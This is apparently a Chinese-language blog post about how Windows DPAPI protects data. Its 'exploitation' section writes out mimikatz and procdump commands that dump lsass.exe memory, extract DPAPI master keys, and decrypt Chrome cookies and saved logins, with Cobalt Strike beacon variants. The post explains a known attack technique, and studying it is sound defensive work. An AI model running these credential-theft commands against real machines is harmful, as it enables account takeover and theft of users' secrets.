0x00 前言

​绝大多数应用程序都有数据加密保护的需求,存储和保护私密信息最安全的方式就是每次需要加密或解密时都从用户那里得到密码,使用后再丢弃。这种方式每次处理信息时都需要用户输入口令,对于绝大多数用户来说,这种方式是不可取的。因为这要求用户记住很多信息,而用户一般会反复使用同一个密码,从而降低系统的安全性和可用性。因此需要一种加密机制,再不需要用户输入任何信息的情况下也能存储秘密数据,而微软数据保护接口(Data Protection Application Programming Interface,DPAPI)便是满足这种要求的程序接口。

​从 Windows 2000 开始,用户程序或操作系统程序就可以直接调用 DPAPI 来加密数据。由于 DPAPI 简单易用且加密强大,大量应用程序都采用 DPAPI 加密用户的私密数据,如 Chrome 浏览器的自动登陆密码、远程桌面的自动登陆密码、Outlook邮箱的账号密码、加密文件系统的私钥等。DPAPI 内部加密流程异常复杂而且微软官方也未公布过其内部细节,这给理解该接口内部实现机制带来了极大困难。

0x01 何为DPAPI

DPAPI 英文全称:Data Protection API ,顾名思义就是用来保护数据的接口。这个接口在windows中大量的使用来加密数据,比如chrome的cookies和login data。

1.DPAPI 使用了叫做Master Key的东西,用来解密和加密。Master Key 并不会存在在磁盘上,是通过用户的密码HASH加密生成。

2.Master Key 的第一种实现方式用用户NTLM Hash来加密。由于NTLM Hash在Windows中有着各种重要的作用,而且NTLM Hash是存储在SAM文件中,只要攻击者获取到Hash就可以用来生成Master Key来解密数据了。所以为了防止这样的事,就有了第二种:直接用用户密码生成,函数:SHA‑1(UTF16LE(user_password)) 。

就算攻击者获取到NTLM,如果不能解密出用户的密码不能生成Master Key

0x02 DPAPI的原理

使用简单,加密使用函数CryptProtectData,解密使用函数CryptUnprotectData即可,系统在后台自动完成其他复杂的加解密操作

CryptProtectData的说明可参考:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

CryptUnprotectData的说明可参考:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx

专有名词

DPAPI blob:

一段密文,可使用Master Key对其解密

结构如下图

Master Key:

64字节,用于解密DPAPI blob

通过用户登录密码、SID和16字节随机数加密后保存在Master Key file中

Master Key file:

二进制文件,可使用用户登录密码对其解密,获得Master Key

包含以下五个部分:

Header and system information
User’s Master Key
Local backup encryption key
Unique CREDHIST file identifier
Domain Master Key backup

位于固定位置: %APPDATA%\Microsoft\Protect\%SID%

例如:

C:\Users\a\AppData\Roaming\Microsoft\Protect\S-1-5-21-3453529135-4164765056-1075703908-1001

包含文件329c4147-0011-4ad6-829d-e32dcbd1bbd7(系统文件,隐藏属性)

无法直接查看

可通过mimikatz对其解析,命令如下:

mimikatz.exe log "dpapi::masterkey /in:"329c4147-0011-4ad6-829d-e32dcbd1bbd7"

0x03 DPAPI的利用

1.获得MasterKey的方法

1、在线获取

privilege::debug
sekurlsa::dpapi

2、离线读取

使用procdump dump出lsass.exe进程内存

管理员权限:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用mimikatz加载dmp文件并获取各个Master Key file对应的MasterKey:

sekurlsa::minidump lsass.dmp
sekurlsa::dpapi

2.Chrome Cookies

本地用户登录时,解密Cookies:

dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultCookies" /unprotect

这里只支持Chrome 80以下版本,但是我虚拟机安的是80以上的版本,所以显示拒绝访问

上cs4.2直接基于 beacon 操作无需管理权限,可直接忽略 Chrome 80 之后版本由于换了加密算法而无法解密的问题

beacon> mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
beacon> mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect

0x04 后记

如果用户sid文件夹下包含多个Master Key file,使用Windows Password Recovery尝试解密时,需要逐个测试,也可通过读取文件Preferred的前16字节获得对应的Master Key file

而且也无法使用用户登录密码的NTLM hash解密Master Key,目前版本的DPAPI在设计上考虑到了这个隐患,使用SHA1算法(NTLM hash使用MD4加密)。所以说,无法使用用户登录密码的NTLM hash解密Master Key

DPAPI机制学习的更多相关文章

  1. JUC.Lock(锁机制)学习笔记[附详细源码解析]

    锁机制学习笔记 目录: CAS的意义 锁的一些基本原理 ReentrantLock的相关代码结构 两个重要的状态 I.AQS的state(int类型,32位) II.Node的waitStatus 获 ...

  2. JAVA反射机制—学习总结

    最近收到很多关于Java反射机制的问题留言,其实Java反射机制技术方面没有太多难点,或许是大家在学习过程中遗漏了细小知识点,导致一些问题无法彻底理解,现在我们简单的总结一下,加深印象.什么是反射机制 ...

  3. 黑马程序猿_Java 代理机制学习总结

    -------<a href="http://www.itheima.com/"">android培训</a>.<a href=" ...

  4. JAVA的反射机制学习笔记(二)

    上次写JAVA的反射机制学习笔记(一)的时候,还是7月22号,这些天就瞎忙活了.自己的步伐全然被打乱了~不能继续被动下去.得又一次找到自己的节奏. 4.获取类的Constructor 通过反射机制得到 ...

  5. zookeeper 内部机制学习

    zookeeper 内部机制学习 1. zk的设计目标 最终一致性:client不论连接到那个Server,展示给它的都是同一个视图. 可靠性:具有简单.健壮.良好的性能.如果消息m被到一台服务器接收 ...

  6. 浏览器中js执行机制学习笔记

    浏览器中js执行机制学习笔记 RiverSouthMan关注 0.0772019.05.15 20:56:37字数 872阅读 291 同步任务 当一个脚本第一次执行的时候,js引擎会解析这段代码,并 ...

  7. JPA,EclipseLink 缓存机制学习(一) 树节点搜索问题引发的思考

    最近在项目在使用JPA+EclipseLink 的方式进行开发,其中EclipseLink使用版本为2.5.1.遇到一些缓存方面使用不当造成的问题,从本篇开始逐步学习EclipseLink的缓存机制. ...

  8. .NET GC机制学习笔记

    学习笔记内容来自网络资料摘录http://www.cnblogs.com/springyangwc/archive/2011/06/13/2080149.html 1.GC介绍 Garbage Col ...

  9. javascript delete机制学习

    想了解delete的机制缘起一个现象,我无法解释,也无法理解. 首先看一下下面这个例子: var x = 1; delete x; //false 然后我又执行了一次: y = 2; delete y ...

随机推荐

  1. 按照阿里巴巴规范创建Java线程池

    前言 Executors Executors 是一个Java中的工具类.提供工厂方法来创建不同类型的线程池. 常用方法: 1.newSingleThreadExecutor   介绍:创建一个单线程的 ...

  2. MySQL:初识数据库

    对于大型互联网公司来说,数据的重要性可能比软件本身更重要.据说淘宝业务系统的开发大概消耗约7000万人民币,而其保存的用户数据的价值远高于此,加上数据分析算法的加持,其产生的价值和收益无疑是巨大的,远 ...

  3. Linux常用操作命令之文件权限(二)

    一.基本概念 Linux/Unix是多用户系统:root是超级用户,拥有最高权限,其他用户及权限由root管理.文件/目录的权限有三种,可读read(r)可写write(w)可执行excute(x). ...

  4. 公钥基础设施PKI利用SRAM物理不可克隆函数PUF实现芯片标识唯一性

    下面给出PKI利用SRAM PUF实现芯片标识唯一性的方法思路: PKI利用SRAM PUF实现芯片标识唯一性的方式 (1)使用PUF原因 物理上不可克隆函数利用硅制造的自然变化来产生每个芯片统计上唯 ...

  5. 微信小程序封装请求接口

    var rootDocment = 'https://123.com';//你的域名 function postData(url, data, cb) { wx.request({ url: root ...

  6. HDOJ-4027(线段树+区间更新(每个节点更新的值不同))

    Can You answer these queries? HDOJ-4027 这道题目和前面做的题目略有不同.以前的题目区间更新的时候都是统一更新的,也就是更新相同的值.但是这里不一样,这里更新的每 ...

  7. C# 基础 - 文件对话框

    using System.Windows.Forms; ... /// <summary> /// 选择保存文件的名称以及路径 取消返回 空""; /// </s ...

  8. Java流程控制:三种基本结构

    顺序结构: Java的基本结构就是顺序结构,除非特别指明,否则就按照顺序一句一句执行顺序结构是最简单的算法结构语句与语句之间,框与框之间是按从上到下的顺序进行的,它是由若干个依次执行的处理步骤组成的, ...

  9. solr简明教程

    文章目录 安装 启动 创建core 配置core索引MySQL数据 3.2.1 3.2.2 3.2.3 测试定时更新 五.配置中文分词 SolrJ 操作索引的增.删.查 七.通过SolrJ对MySQL ...

  10. 云原生的弹性 AI 训练系列之一:基于 AllReduce 的弹性分布式训练实践

    引言 随着模型规模和数据量的不断增大,分布式训练已经成为了工业界主流的 AI 模型训练方式.基于 Kubernetes 的 Kubeflow 项目,能够很好地承载分布式训练的工作负载,业已成为了云原生 ...